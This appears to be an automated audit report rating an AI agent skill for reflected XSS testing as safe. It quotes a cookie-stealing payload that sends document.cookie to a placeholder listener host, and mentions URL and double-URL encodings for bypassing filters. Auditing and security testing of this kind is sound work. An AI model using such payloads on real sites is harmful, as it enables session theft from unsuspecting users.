xss-reflected
Pass
Audited by Gen Agent Trust Hub on Sep 22, 2026
Risk Level: SAFEDATA_EXFILTRATIONOBFUSCATION
Full Analysis
- [SAFE]: The skill is a documentation resource for web security testing, specifically Reflected XSS. All identified patterns, such as test payloads and encoding techniques, are provided as illustrative examples within an educational context.
- [DATA_EXFILTRATION]: The documentation includes standard XSS payloads that demonstrate how browser cookies can be exfiltrated to a listener (e.g.,
document.location='http://VICTIM/steal?c='+document.cookie). These are intended for proof-of-concept testing during security audits. - [OBFUSCATION]: The skill details various encoding methods, such as URL encoding (
%3C) and double URL encoding (%253C), used to bypass simple web application filters. These are provided as technical guidance for security researchers.
Audit Metadata